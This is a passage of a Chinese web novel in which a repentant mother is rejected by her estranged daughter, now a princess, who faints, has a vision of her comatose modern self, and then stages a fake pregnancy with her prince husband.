苏建明回府往吕氏院中走的时候还在想要怎么应付吕氏对自己的追问,若吕氏实在不行,他就只能牺牲一下自己,与吕氏亲近亲近了。
虽然他昨夜才在邹如意那里得到了满足,但...想到吕氏漂亮的容貌,苏建明吐了口浊气,也不是与吕氏不能亲近,只是吕氏若再知情趣一些就好了。
他一步跨进吕氏的院子,就看到了坐在正屋中面色不好的吕氏,苏建明看到她那愁眉苦脸的模样,心头那点心思歇了下去,他眉头皱了起来,负手走进去在吕氏旁边坐下。
吕氏抬眸看了他一眼,挥退屋内伺候的仆从,这才抬眸看向苏建明,沉声道:“老爷可真忙,女儿发生那种事情,你却一天一夜不见人。”
苏建明蹙眉,语气也不好,“她发生那种事情怨谁?还不是怪那个贱婢,若不是因为她,清欢会变成这样吗?现在我们苏家的脸都被丢光了!”
“那老爷去把她杀了吧。”吕氏抬眸目光冷冷的看着苏建明,“你对她怨言这么大,只对我说的话实在是可惜了,不如你直接去把她杀了,永绝后患。”
“你说什么糊涂话!”苏建明拍桌站起来,怒瞪吕氏,“她如今是御王妃,我能那么轻易地杀了她?当初就不该把她找回来!还不如生下来的时候就掐死她!”
吕氏藏在袖子里的手紧紧地捏了起来,他对婳儿的敌意一直都那么大,她以前为什么就眼瞎没有发现!
她早该猜到其中的蹊跷的,一个奶娘哪儿来那么大的胆子敢把自己的女儿与主家的小姐调换!
而且苏建明这种睚眦必报的人,亲生女儿被调换了,知道真相之后不是把那个养在身边的野种送走,而是选择不要亲生女儿...
她以前真的是被猪油糊住了眼睛什么都看不清。
还助纣为虐...
想到那些日子自己对姜黎婳做的那一切,再联想到前些日子自己亲手把亲生女儿推远...
吕氏抬手就往自己脸上扇了几个巴掌。
苏建明看到吕氏忽然发疯一样扇她自己,他眼睛一瞪,骂道:“你疯了?”
吕氏停下手,朝着苏建明走过去抬手狠狠地扇了他一巴掌,苏建明被猝不及防地打了一巴掌,抬手推开吕氏,吼道,“吕氏,你疯了!”
“与其怪她活下来,不如怪我们生下了她。”吕氏抬眸看着苏建明,眼中带着一丝疯狂,“因为我们生了她,才会导致清欢遇到这种事情,说到底,我和你才是元凶啊!”
“不可理喻,不可理喻!”苏建明又推了吕氏一下,转身大步离开。
吕氏瞧着苏建明的背影,眼神骤然变得冰冷,她抬步追了上去,“你要去哪儿?”
“我今夜宿在书房!”苏建明加快了脚步。
吕氏在院门处停下了脚步,她回眸看了一眼院中战战兢兢的仆从们,冷笑,“看什么?你们也觉得我很好笑吗?”
刘嬷嬷不知道吕氏怎么了,只知道夫人在少爷院中待了很久,后来少爷出来之后回国子监了,而夫人也不再提去看大小姐的事情,一直坐在屋中发呆,连一口饭都没吃。
她上前扶着吕氏的手往屋内走,“夫人,您心头不舒服,说出来就是,别和自己置气,不值当。”
“我就是气我自己啊。”吕氏伸手狠狠地拍打着自己的胸口。
是她识人不清,是她猪油蒙心,才会导致如今这个局面的。
无论是二十年前成亲,还是前些日子的断亲,母亲都一直在旁边劝她说她,可是她从来不听,如今她受到惩罚了。
“我想见她。”吕氏眼泪从眼眶里一滴一滴的不断滑落,她哀切地看向刘嬷嬷,“我想见她。”
刘嬷嬷瞧着吕氏心伤的模样,有些不解地问,“您担心大小姐?想见大小姐?”
大小姐...
吕氏想到这些年自己把所有心思都放在了那个别人的女儿身上,她就觉得心头像是被什么东西狠狠地扯着一样。
她抬眸看着刘嬷嬷,却什么话都说不出来。
她闭上眼,死死地咬着嘴唇,好半晌之后,吕氏睁开眼睛,“我要见母亲。”
翌日。
胡氏听说吕氏在门外求见的时候直接把手中的茶盏摔在了地上,前天儿媳带着孙女回家,已经把孙女和外孙女在二皇子婚宴上被苏清欢算计的事情告诉了她。
“让她滚,我没有这种眼瞎的女儿!”胡氏怒声骂道。
孟雪莲自然也听说了吕氏上门的消息,她害怕婆母心软原谅唯一的女儿,还特意过来想要看看婆母的态度,谁知刚到婆母的院门外就听到了婆母砸了杯盏的声音,孟雪莲心头的不平少了两分。
她抬步走进院内,婢女们还在收拾屋内的狼藉,她避开陶瓷碎片走到胡氏面前,“婆母,您也别气了,不然就见见妹妹?”
胡氏撇开脸,痛心地摇头,“见她她定然又要在我面前数落婳儿的不是,我不想见她这种连自己的亲骨肉都不知道疼惜的人。”
“总要见见人怎么说的,儿媳怕若是把她逼急了,到时候她会去找御王妃。”
知道婆母不会心软地原谅那个不明事理的小姑子了,她觉得让婆母把小姑子叫进来骂一顿也不是不行。
胡氏见孟雪莲这么说,闭着眼睛点了点头,“让她进来吧。”
吕氏红着眼走进来,还没来得及说话,胡氏一个杯盏就朝着她丢了过来,“你今日若敢说婳儿的一句不是,我就不再是你娘!”
吕氏被胡氏这个杯盏砸中了膝盖,她一天一夜没吃东西,这一砸,她整个人跪了下去,她也顾不得膝盖的疼痛,直接哭着开始磕头,“娘,女儿做错了啊!”
胡氏:“......”
孟雪莲:“这....”
这怎么和她想的不一样?
这是上门认错的?
第101章 我绝对不可能再当你女儿
吕氏认错之后就一直伏在地上使劲哭,也不说话,看得坐在高位上的胡氏和站在一旁的孟雪莲婆媳二人一愣一愣的。
胡氏盯着跪在地上的吕氏看了好一会儿,才问在一旁跟着抹泪的刘嬷嬷,“她怎么了?”
刘嬷嬷跟着跪了下去,不过她的确不知道自家夫人这是怎么了,只能把昨天的事情说了,“夫人从大少爷的院子中出来之后就一直都魂不守舍的,奴婢也不知道夫人这是怎么了。”
胡氏蹙眉,她的手在高几上狠狠地拍了一下,厉声对着吕氏道:“你若以为哭几声我就可以原谅你了,那你想错了!”
孟雪莲也站在一边道,“妹妹不是我想说你,但那个苏清欢真的不是好人,前天二皇子...束郡王大婚,她竟然买通束郡王府上的婢女给婳儿和静雅下药,若不是婳儿警惕的话,前天名声被毁了的人就是静雅和婳儿了!”
这时候吕氏的头抬起来了,她怔愣地看着孟雪莲,苏清欢除了想害婳儿,还想害静雅?
孟雪莲瞧她这副模样,心头没有半点怜惜,她沉着脸继续道,“所以今儿个我就把态度放在这儿了,我们永宁伯府是绝对不会承认苏清欢是我们永宁伯府外孙女的,也不会为了她去求人,你若是想用服软的态度来求我们去帮苏清欢,那是绝对不可能的。”
吕氏的眼泪又不断往下落,哭了半晌她才哑着声音对着胡氏喊道,“娘啊,我被苏建明骗了!苏清欢是他与外室的女儿,当年就是苏建明换了两个孩子啊!”
孟雪莲和胡氏两人面上的表情皆是一僵,孟雪莲偏头去看胡氏,胡氏则激动地撑着椅子站了起来,“你说什么?”
就连跪在一旁的刘嬷嬷都愣住了。
吕氏现在是哭得一把鼻涕一把泪的,她也顾不得形象了,抬手直接用袖子擦了一下眼泪,“不仅如此,苏建明还有一个儿子比承儿还大两岁,如今与承儿在国子监读书,娘啊,我的命好苦啊!”
胡氏只觉得眼前一黑,人差点摔倒在地上,还好她身边的古嬷嬷和孟雪莲两人眼疾手快扶住了她,胡氏被扶住,片刻之后她稳住心神,看向跪在地上的吕氏,“你说的都是真的?”
吕氏哭着颔首,“承儿昨天去了那个外室的住处,亲耳听到他们的谈话了。”
胡氏让孟雪莲和古嬷嬷扶着自己坐回椅子上,短暂的无语之后,她脸上露出嘲讽的笑,半晌之后她疲惫的对吕氏道,“这就是你的报应,亲女儿被你推出去了,你们自己亲口说的认错了人,以后别再想把她认回来了。”
吕氏摇头,“娘我求你,你带我去见见她,我以前不知道我被骗了,我以后会好好补偿...”
“够了!”孟雪莲实在是听不下去了,她沉声打断吕氏的话,“你以为你那点补偿就能抚平她曾经受过的伤害?你好好想想你曾经为了那个外室女做了多少伤害婳儿的事情,现在你知道那个外室女的身份之后,又想回去婳儿那里寻找慰藉了?”
孟雪莲不理会吕氏越来越苍白的脸,“你哪儿来的脸?”
吕氏不愿听孟雪莲的话,她祈求地看向胡氏,“娘...”
胡氏知道婳儿是有多心灰意冷才会说出与苏家断绝关系的话的,她对吕氏摇头一趟,“我不会帮你的,你自己做的孽,后果自己承担,你自己去找她吧,她若不愿意原谅你,我也不会帮你的。”
看着吕氏这浑浑噩噩的模样,胡氏叹气,“你若觉得难过,就在府上歇几日再回去吧。”
吕氏正要拒绝,旁边的孟雪莲就说话了,“是啊,在府上歇几日再回去,夫妻哪儿有什么隔夜仇,你都为苏家付出那么多了,这点事情忍忍也就过去了,毕竟这么些年你一直都把苏清欢当女儿疼的,大不了以后不把她当亲女儿疼就是了。”
吕氏知道孟雪莲在故意讽刺自己,但这都是她应得的。
她抬头看着胡氏,“女儿会让苏家的人付出代价的。”又看向孟雪莲,“多谢嫂嫂关心。”
孟雪莲:“......”
她不知道小姑子在嘲讽自己,还是没听出自己的嘲讽,反正她被这句感谢整无语了。
吕氏从永宁伯府出来,直接吩咐马车去了御王府,她从马车上走下来,看到御王府的门匾,她只觉得一阵恍惚。
刘嬷嬷瞧着吕氏魂不守舍的模样,叹了口气,低声道,“夫人,奴婢去敲门?”
吕氏点了点头。
刚用了早膳打算把自己在花园中采到的几株蒲公英洗净晒干的姜黎婳听到了门房的通禀,她继续把蒲公英洗干净,然后让知夏拿了簸箕过来,亲手把蒲公英放在簸箕里面后,她才站起身来,“把人迎去前厅吧。”
姜黎婳在跨出院门后抬头看着湛蓝色的天空,吕夫人应该是知道真相了,如今上门应该是求原谅的,如果是你的话可能会原谅她,但是我不想帮你原谅。
知夏跟在姜黎婳身后瞧她望着天空发呆,知夏也抬头看了一眼天空,发现今天的天空一朵云都没有,她问,“王妃,您在看什么?”
“没什么,只是好久没有看到这么漂亮的天空了。”姜黎婳收回目光抬步朝前厅走去。
她刚走进前厅,吕氏就激动地朝着姜黎婳走了过来,“婳儿。”
姜黎婳避开了吕氏要抓自己的手,蹙眉道,“吕夫人请自重,拉拉扯扯成何体统。”
无视吕氏的尴尬,她抬步朝高位走去,坐下后她才抬眸看着还驻足在原地的吕氏,挑眉问,“吕夫人是过来兴师问罪的?”
吕氏知道姜黎婳是故意给她难堪,但她却知道这是自己咎由自取的,她轻轻摇头,回头看着姜黎婳,眼中全是愧疚与不舍,“是娘错了,婳儿,你..”
“吕夫人。”姜黎婳蹙眉打断吕氏的话,“你忘了前些日子你们在朱雀大街上说的话了?认错了就是认错了,不要乱认女儿,我娘在刚生下我之后就死了,你是苏清欢的娘。”
“我就是你娘,我知道以前是我错了,但以后我会弥补你的。”吕氏激动地往前走了两步,她看着姜黎婳,“嫁妆,对,我给你补嫁妆,苏清欢有的我全都给你补上,苏清欢没有的,我也给你...”
姜黎婳瞧着吕氏这可笑的模样,真想让吕氏看看她上一世是如何对待原主的。
她摇头轻嗤,“我在意的从来都不是那点嫁妆!从始至终只是态度,以前苏清欢没出事,你根本看不到我,如今苏清欢毁了名声,你就想起我了?可惜,那个会原谅你会体谅你的姜黎婳已经死了,而我绝对不可能原谅你,也绝对不会再当你女儿的。”
瞧着吕氏伤心欲绝的模样,刘嬷嬷赶紧跪在地上对姜黎婳磕头,“王妃,您就看到夫人是您亲...”
姜黎婳平静地打断刘嬷嬷的话,“主子说话,什么时候轮到你一个奴才插嘴了?”
第102章 无论用什么办法一定要让她醒来
看着吕氏那失魂落魄的背影,姜黎婳感觉左胸传来一阵锥心的疼,这是这么些年她从未有过的感觉,她抬手捂着心脏的位置,眉头紧紧地皱了起来,“你疼,我也不会帮你原谅她的,她不配被原谅。”
知夏瞧着自家小姐捂着心脏的位置说这种话,一点都不同情那个吕氏,她上前轻轻地拍着姜黎婳的后背,“王妃别气了,她就是不配得到王妃的原谅。”
姜黎婳对知夏笑了笑,她站起来,“我有点累了,回去歇息一会儿。”
“好,中午我与铃铛给您做点你喜欢吃的酸笋配肉粥,如何?”知夏扶着姜黎婳站起来。
姜黎婳嗯了一声,抬步往前走,谁知才踏出一步,眼前一黑就晕了过去。
知夏被吓了一跳,抱着姜黎婳两人一同倒在地上,她抱着晕过去的姜黎婳哭着喊人,“快来人啊!快来人!王妃晕倒了!”
今天楚御礼出门办事,姜黎婳怕他遇到意外,便说自己不出门,让他把暗卫都带走了,此时府上只有功夫平平的侍卫和仆从以及手无缚鸡之力的婢女。
侍卫因为身份有别不敢上前抱姜黎婳,张嬷嬷和佩玉两人只能喊几个婢女一起把姜黎婳抬回院子。
看着姜黎婳苍白的脸,张嬷嬷焦急道,“我先入宫去找太医。”
佩玉颔首,“有劳张嬷嬷了。”
她伸手去摸姜黎婳的额头,额头冰冷,没有一点温度。
又去拉姜黎婳的手,发现她的手也没有一点温度,看着她苍白的嘴唇,佩玉忽然觉得自己心跳都要停止了。
她轻轻伸手放到姜黎婳鼻尖前面,片刻之后她跌坐在地上,眼泪顺着眼眶落了出来。
张嬷嬷被她这模样吓了一跳,她问,“怎么回事?”
“还有呼吸。”佩玉抬手擦泪,“张嬷嬷快去请太医。”说罢又对知夏道,“快去看看府医到了没。”
府医只能治一些普通症状,要保险一些的话还得是太医过来才是。
张嬷嬷被佩玉刚刚的模样吓了一跳,她看了佩玉一眼,沉声道,“仔细伺候着,你们知道王爷今日出门去哪儿了吗?”
得派人通知王爷才是。
站在床尾一直守着姜黎婳的知夏闻言轻轻摇头,“奴婢们只听王爷给王妃说城外数日前接连失踪了好几个少女,如今案件已经传到了刑部,陛下像是让王爷去查案了。”
张嬷嬷转身就走,出去后喊来府上的侍卫,“去城外南阳村找王爷,告诉他王妃出事了。”
吩咐了侍卫,张嬷嬷也慌忙乘着马车朝皇宫的方向而去。
姜黎婳经历了一片黑暗之后,忽然觉得眼前一亮,刺眼的亮光照得她双目微眯,她抬手挡住刺眼的光芒,等眼睛适应,片刻之后她放下抬起的手,听到一些滴滴嘟嘟的仪器声。
她努力朝着仪器发出声音的方向看过去,白光的尽头有一张病床,上面躺着一个人。
看到床上那人的容貌,姜黎婳双手一下子握紧,她慢慢地往后退,她不回来!
她宁愿死,也不会为了他们的生意把自己嫁给一个中年富商的!
她转身拼命地跑,可是不管怎么样她就是跑不出这满是白光的房间,最后人还站在了病床前。
姜黎婳跑累了,她双手撑着膝盖看着身上插满了管子的自己,床上的自己不知道躺了多久了,人很憔悴,也很瘦,瘦得脸上已经没有多少肉了,她把目光移到手上,手上也是皮包骨了,血管凸起来,看着特别难看。
“今天还是没有醒来的迹象吗?”清冷疏离的声音在姜黎婳身边响起。
姜黎婳转身朝说话的声音看过去,一个模糊的身影就在她面前,她想用力看清对方的面容,但是看不清,只看到对方西装革履,气质非凡。
姜黎婳抬手想抓住对方,问他是谁。
这时候一个身穿白衣的大夫走了过来,他站在西装革履的男人身边,叹道:“已经半年了,应该是醒不过来了,您这些日子该用的办法已经用了,她的家人都不关心,您又何必如此费心呢。”
男人往前走了两步,他穿透姜黎婳的身体走到病床的床头,伸手摸了摸姜黎婳的额头,姜黎婳感觉额头传来一阵温暖,她还没来得及奇怪,就听男人说,“继续医,无论是找国外的专家还是其他办法,让她醒来。”
姜黎婳摇头,她朝着男人嘶吼,“不许医治!我不要你把我治好,你不要多管闲事!”
可无论姜黎婳吼得多大声,对方根本听不到。
她伸手要去拔掉插在自己身上的那些管子,但是根本抓不到。
姜黎婳气自己如今躺在床上任由人摆布,又气那个人多管闲事,让她死了不好吗?为什么非要救她!
她蹲在白屋的墙角处,听着那个男人在和大夫讨论治疗方案,心头没有一点求生的意志,与其醒过来继续被那家人强压着利用,她宁愿就这样死了,即便不能再在古代醒过来,她也不想在现代活下去。
暗红色的雕花梨木床上挂了白纱幔帐,幔帐被人用挂钩挂在两边,康太医跪在床前的脚踏上给进气少出气更少的姜黎婳诊脉,半晌之后他站起来轻轻摇头,“王妃这个症状实在是蹊跷,脉象很弱,但是不知道是什么症状,好像是她自己不想活了一样。”
“你胡说什么!”知夏双目通红地指着康太医,“是你自己医术不精!还怪我们王妃想死!我们王妃若因为你耽误了,你小心你的脑袋!”
这时候楚御礼大步从外面走了进来,看到脸色苍白的躺在床上的姜黎婳,他原本稳健的步伐一下子变得有些慌乱,他走到床边坐下,看向康太医,“怎么回事?”
“臣医术不精,实在是无法诊断出王妃这是什么病症。”康太医擦了擦额头上的汗水,他现在的脑海中不停地在浮现那次被楚御礼关在屋子中,拿着把柄威胁他的画面。
他若治不好,不会被这阎王爷直接弄死吧?
“太医院其他人呢?都死了?”楚御礼回头看向张嬷嬷,“去把他们都给本王喊来!”
张嬷嬷慌忙应了一声,匆匆朝外面走去。
楚御礼抓着姜黎婳苍白的手,感受到她冰冷的手,他又伸手去摸姜黎婳的额头,额头依旧冰冷。
他抬眸看向知夏,语气冰冷,“怎么回事?”
知夏连忙把今天吕氏来找姜黎婳的事情说了,“但是吕夫人并未接触到王妃,只是吕夫人走后,王妃就伸手捂着心脏的位置,好像是被气到了。”
“去把人给本王抓来!把苏家所有人都给本王抓过来!”楚御礼看着床上气息微弱的姜黎婳,双目猩红,“若她有个三长两短,本王要他们苏家的所有人给她陪葬!”
第103章 有孕
昭临得了命令立刻就要去苏家抓人,却被知夏喊住了,“王爷,不能让昭临去把苏家人找来!”
昭临停下脚步站在门口回头看向楚御礼。
楚御礼偏头阴鸷的看向知夏。
知夏第一次见这么吓人的王爷,她的腿被楚御礼看得有些发软,她扑通跪在地上,解释道:“王妃是因为见了吕夫人才晕过去的,当时吕夫人是过来认错的,还说要补偿王妃,王妃拒绝了,奴婢心想王妃是不愿意见到苏家人的,若苏家人过来,让王妃的病情加重了怎么办?”
楚御礼握着姜黎婳的手紧了紧,看着姜黎婳毫无生机的脸,他沉默了片刻,看向昭临,“抓。”
昭临立刻明白了楚御礼的意思,他点头应了一声,转身大步离开。
张嬷嬷很快又带着几个太医回来,里面还有院判张太医。
太医院的太医都是经过楚御礼警告的,如今人人看到这个容貌惊人的王爷,依旧觉得心头发怵,张太医擦了擦汗水走上前给姜黎婳诊脉。
半晌之后,张太医才往后退了两步躬身道,“王妃应该是气急攻心,导致的忽然晕厥。”
“如何能让她醒过来?”楚御礼目光沉沉的盯着张太医。
“臣开一副药先熬给王妃喝了试试。”张太医赶紧道。
佩玉赶紧带张太医去写药方。
......
姜黎婳不知道自己在那间白房子里面呆了多久,只知道那个西装革履的男人已经来了五六次了,这次他坐在了她的病床边,抓着她的手低声说话,“你就想这样死了?不想报复那些曾经伤害你的人吗?”
姜黎婳抬起头看着逆光的男人,她缓缓站了起来,“报仇?”
她帮原主报复了不在乎她的家人,但是那些利用她害她的人,还活得好好的啊!
自己凭什么要死?
该死的明明是那些要利用自己的人!
“你醒来,利用我,我帮你报仇。”男人的声音很温柔,却给姜黎婳一种安心的感觉。
她往前走了几步,走到病床旁边,她想看清楚男人的脸,“你认识我吗?为什么想要帮我报仇?”
“你甘愿就这样躺在床上?让亲者痛仇者快?”男人忽然拉着姜黎婳的手,“你醒来,我把那些人都绑了,让你出气如何?”
姜黎婳摇头,“不如何,你要当法制咖啊?”
不过报仇的确不错,她得活着,活着把自己受的那些委屈和伤害都还给那些所谓的家人!
她拼命地想回到自己身上,但试了好多次,都只是穿过床上的身体,没办法醒来。
就在她要放弃的时候,躺在床上的人忽然睁开了眼睛。
姜黎婳动作僵住了。
她怔愣地看着床上睁开眼睛的自己,接下来她只看到男人激动的站起来,捏着床铃激动的大喊,“快点来人,病人醒了!”
她看着几个医生护士从病房外跑了进来,围着床上的自己开始了激烈的讨论。
她想知道具体是怎么回事,但却有一股强大的力量在拉扯着她,她一下子陷入了黑暗,再也看不到那鲜亮的光景。
姜黎婳猛地睁开眼睛。
楚御礼端着刚熬好的药正打算喂她服下,就和她的目光对上了,他端着药碗的手顿了顿,眼底的担忧和紧张缓缓消失,他怔愣了片刻才哑着嗓子问姜黎婳:“醒了?有没有什么地方不舒服?先把药喝了。”
他眉眼温柔声音温和,与先前那副要吃人的样子,完全是两个人。
姜黎婳看着楚御礼英俊迷人的脸庞,脑海中全是先前自己看到的画面,她是在做梦吗?
应该是做梦,不然她已经来这儿了,怎么可能再在那个世界醒来呢。
见姜黎婳不说话,楚御礼把药碗放在一边,伸手去摸姜黎婳的额头,摸到她额头上传来的温度,楚御礼又要喊太医给姜黎婳诊脉,姜黎婳听到诊脉二字,赶紧伸手拉住他的衣袖,“我没事儿了。”
“先让太医给你瞧瞧。”楚御礼怕她又忽然晕倒。
姜黎婳拉着楚御礼的衣袖,不想诊脉,“我先前只是突发暑热,现在人已经没事了。”
楚御礼依旧不放心,但还是随了姜黎婳的心,让太医退下去了。
把屋内的人都屏退之后,楚御礼又坐回床边,牵着姜黎婳的手,低声问:“真的没有什么地方不舒服?”
姜黎婳摇头,“我没事。”
她扯了扯楚御礼的衣袖,“我躺了多久了?”
“三个时辰,天都快黑了。”楚御礼捏着她的手微微收紧,眼眸微红,“吓死为夫了。”
姜黎婳看着楚御礼有些发红的眼眸,又看向站在门外一直往里面张望的知夏等人,她心头有些内疚,这里有这么多人在关心她,她竟然还想着回现代去报仇。
真不应该啊。
“我以后不会晕倒了。”姜黎婳笑了笑,她想自己晕倒应该是与原主有关,至于梦中自己看到的那些究竟是真是假,已经和她没有关系了。
她在这里要做的事情还没做完呢,为什么要因为一个梦被影响。
她撑着身子坐起来,“殿下,既然我晕倒了,还惊动了太医院,若不给个说法,应该说不过去。”
她刚刚睁眼的时候看到了,太医院一半的太医大概都在这儿了。
楚御礼见她还在担心这个,忍不住蹙眉,“这个你不用担心。”
姜黎婳轻轻摇头,“就说我有孕了吧。”
她抬头对上楚御礼诧异的目光,轻笑,“我想若我有孕,那些观望情势想等你死的人,应该就会坐不住了。”
“你想以身入局?”楚御礼不同意,“若他们狗急跳墙,伤到你该如何?为夫自有办法让他们露出马脚,不用你冒险。”
“王爷。”姜黎婳抿嘴,“你是瞧不上我吗?认为我一个弱女子帮不了你什么忙?”
她落寞地垂下眼眸,撇嘴,“我就知道你其实瞧不上我的...”
楚御礼头疼,他无奈地看着忽然变了个人一样的姜黎婳,“那些人何其阴险你不是不知道,若你传出有了身孕,不知会遭遇什么,我不能让你冒险。”
“可王爷可以保证我不传出有孕,他们就不会对我做什么吗?”姜黎婳目光坚定地看着楚御礼,“与其坐以待毙,不如主动出击。我知道王爷在调查冯丞相的罪证,我也知道对我们有恶意的人除了慧贵妃,还有很多,隐藏在暗处。”
姜黎婳抿嘴,如今母后虽然知道淑妃与她不是一条心了,但是究竟是谁给楚御礼带毒的沉香手串,还不可知。
所以,既然她晕倒了,那就传个喜讯出来,让那些蛰伏在暗处的毒蛇有点危机感。
第104章 暗卫的命也是命啊
姜黎婳有孕的事情传开了。
后宫很快就知道了她晕倒是因为有孕,不过因为月份太小,脉象不清晰,所以一般的太医没有诊出来,还是精通妇科的罗太医给诊出来的。
这是皇帝第一个孙子,皇帝听了消息,一高兴就赏赐了姜黎婳不少好东西。
庭院中,姜黎婳被知夏小心翼翼地扶着,她看着满院子的赏赐,朝楚御礼挑眉一笑,“王爷,您瞧,我怀了身孕还有这种好处呢。”
她走过去拿起一颗南珠,“你瞧这夜明珠,放在屋内照明正好,如今我有了身孕,闻着那蜡烛的味道就反胃,今后我屋中就用这几颗夜明珠照明吧。”
楚御礼瞧着还真把自己当成孕妇的姜黎婳,他摇头一笑,眼底尽是宠溺,“都依你。”
姜黎婳满意了,她从知夏手中抽回手,又走到不少补品面前,拿起一根人参,递给楚御礼,“这个人参一看就是百年人参,明儿个开始我给殿下泡人参茶。”
“如今王妃有了身孕,王爷还是不要喝人参茶了吧?”站在一旁的佩玉赶紧阻止。
王妃如今有了身孕,正是关键时期,可不能乱来,王爷如今本就是血气方刚的年纪,再进补...王妃又有了身孕,那岂不是要纳妾?
姜黎婳回头看佩玉,“可以补,每天切一片给王爷泡水喝。”
佩玉有些为难,她上前在姜黎婳耳边说了几句,然后道,“不过王妃您若愿意用手或者...帮王爷解决的话,就当奴婢刚刚的话没说。”
佩玉盯着姜黎婳的嘴...
姜黎婳听了佩玉的话本就有些羞涩了,此时被她盯着嘴看,立刻就有了画面,她眼睛一瞪,不仅耳朵和脸红了,就连整个人都红了,她震惊地看着对自己大放厥词的佩玉,“嬷嬷,你什么时候变成这种人了!”
她看了一眼站在一旁的楚御礼,扬声道:“一会儿你们就把人参切片泡水给王爷喝!王爷才不是你们口中那种控制不住自己的人!”
楚御礼,“?”
姜黎婳不看他,捂着脸大步往屋内走,知夏瞧着她健步如飞的模样吓得赶紧追上去,“王妃,您慢点!小心肚子!”
姜黎婳:“......”
她忽然觉得自己这是搬起石头砸了自己的脚。
是夜。
姜黎婳睡得迷迷糊糊的忽然感觉到有人在解自己的亵衣,她哼了一声拍开那只手,翻身接着睡,只是才刚翻身,人就被翻了过来,接着感受到有人湿热的呼吸打在自己的脸上。
她微微睁开眼睛,对上楚御礼那双带着克制的眼睛。
楚御礼见她醒来,眼底闪过一丝笑意,他在她脸上亲了亲,低声道:“娘子,为夫今夜的人参茶喝得有点多。”
姜黎婳瞪眼,她正要说话,就被堵住了嘴唇,她推了一下压着自己的人,偏开头,“一会儿叫水怎么办?”
那她假孕的事情不就暴露了?就算不暴露,明儿个入宫怕是又少不了被数落了。
楚御礼眸色变深,“我让他们准备水,就说我要沐浴。”他声音沙哑,“娘子有孕,男子冲凉自纾是常事。”
姜黎婳:“......”
所以他是想了好一会儿才...
她推着他的手放松了力道,楚御礼感受到了她的态度,吻上了她的脖子,手也开始不安分地撩开她的衣摆...
一个时辰后,姜黎婳听到隔壁传来水声,半晌之后她被浑身湿热的人抱着走进浴桶,浴桶里面的水不是冷水,是她正好可以接受的温水,浑身的黏腻感在接触到水的那一刻消失不见,姜黎婳舒缓的眯上眼睛,人也哼了一声。
原本打算帮她清洗之后就直接抱着她回去睡觉的楚御礼瞧着她这模样又听到这磨人的声音,整个人一僵,他一步跨进浴桶捞起坐在浴桶中的姜黎婳,头朝着她的胸口靠近...
水波荡漾,浴桶中的水随着荡漾的波浪涌出浴桶落在地上,一波又一波...
随着水声拍打在地板上的声音,屋外狂风骤起,雷电忽鸣,接着雨声传来,很快遮掩了盥洗室内的水声。
姜黎婳被楚御礼抱回床榻上的时候,床榻已经换过了,她迷迷糊糊地看了一眼已经变了样的被褥,蹙眉,“换了?”
“那个脏了,不能用了。”楚御礼从背后抱着她,“睡吧。”
姜黎婳是真的累了,她应了一声闭上眼睛,片刻之后她猛地睁开眼睛,回头看向楚御礼,“谁换的?”
他们两人之前达成了共识,为了演戏更逼真,尽量不让人知道她是假孕,所以她连知夏她们都瞒着的。
那是谁换了她们的被褥?
姜黎婳想到了那来无影去无踪的暗卫。
楚御礼瞧着她的模样,心想若自己说了,以她那敏感的性格,以后应该不会让自己碰他了吧?
“我让昭临叫人收拾的。”楚御礼在姜黎婳额头上亲了亲,“快睡吧。”
他和娘子亲密,自然是不能让人看的,夜里都是让暗卫出去了的,但...换被褥这种事情,他是真做不来,所以只能喊暗卫来,但若让娘子知道是暗卫换了被褥,那以后做这种事情的时候,心中肯定会有芥蒂...
他想到之前在小溪之后被娘子各种防备的事情,开始思索自己要不要学着换被褥了...
姜黎婳伸手捂着脸挣脱楚御礼的怀抱,闷声道:“明天开始王爷还是别喝人参茶了。”
原本想给他补一补身子,毕竟这些年中毒对他身子有损,温补一下是可以的,谁想到给他补了身子,倒是把她给整虚了。
楚御礼闻言轻笑,“那给你补补如何?”
姜黎婳放下手接着夜明珠的光瞪他,“孕妇不能吃人参!”
“傻丫头,你又不是真孕妇。”楚御礼得了便宜,心情很好,他伸手理了理她鬓角有些湿的头发,“咱们偷偷补,不然你体力太差了。”
姜黎婳:“......”
听听,这是人话吗?
她看着他,“你不是人。”
楚御礼用眼神表达她的疑惑。
“我今天刚晕倒,你就这么禽兽,你定然不是人。”姜黎婳撇嘴,“欺负病患,还好意思说我体力不好。”
楚御礼:“......”
他好像是忽略了这件事情。
的确有点禽兽了。
他伸手搂着姜黎婳,“是为夫的错,为夫不是人。”
姜黎婳瞧着认错认得这么顺溜的人,一时之间不知道该说什么了。
暴雨过后的夜色中。
冽风和沉鹤二人看着摆在两人面前的被褥犯起了难,这丢了?烧了?还是洗了?
冽风看着沉鹤,语气生硬,“你去洗。”
沉鹤无情拒绝,“不去。”
冽风,“那扔了?”
沉鹤蹙眉,“被有心人捡去怎么办?”
冽风咬牙,“烧了?”
沉鹤摇头,“主子找我们要怎么办?”
冽风懊恼,“那你说怎么办?”
沉鹤转身就走,“你去洗。”
冽风眨眼看着沉鹤脚下生风的逃走,片刻之后又垂头盯着面前满是狼藉的被褥,那张向来没什么表情的脸上头一次有了生无可恋的表情,“暗卫的命不是命吗?”
第105章 来自冷面王爷的警告
姜黎婳是真的累到了,沾床之后没一会儿就沉沉地睡了过去,得到了满足的楚御礼倒是精神很好,他看了一眼熟睡的姜黎婳,伸手理了理她鬓角的碎发,接着俯身在她额头上落下一吻,这才起身穿衣,打开房门走了出去。
刚走出院外,一个身着玄色劲装的亲卫走了过来,他对楚御礼拱手行礼,“主子,昭临还在那边守着那些人的。”
楚御礼抬步往前走,亲卫抬步跟了上去。
因为下过暴雨,楚御礼步行至靖王府的时候,衣摆和鞋子已经完全打湿了,但是他丝毫不在意,直接去了关苏家人的地方。
苏家一直被蒙着眼睛,捂着嘴巴,每个人都战战兢兢的,害怕到了极致,老夫人邹氏更是吓得尿了一片,他们被抓来的时间又有点长了,她尿了不止一次,此时整个屋中充斥着她的尿骚臭。
昭临带着几个人守在门口,看到楚御礼和青砚两人过来,昭临立刻示意手下的人打开屋子门,自己则快步上前对楚御礼抱拳,“主子,苏清欢在定国公府,不好抓,其余苏家人已经抓来了。”
楚御礼走上台阶看到屋中的几个人,他蹙眉,“少了两个。”
昭临看了一眼里面苏家的人,眼睛一转,立刻明白了楚御礼说的两个人是哪两个。
“属下这就去把那对母子一起抓来。”
楚御礼没说话,抬步走进屋子,一进屋就被里面的味道熏退了出来,他眼神凌厉地看了一眼还未离开的昭临,“你把狗放进去了?”
昭临,“?”
他走进去,闻到味道立刻退了出来,“属下立刻让人重新安排房间。”
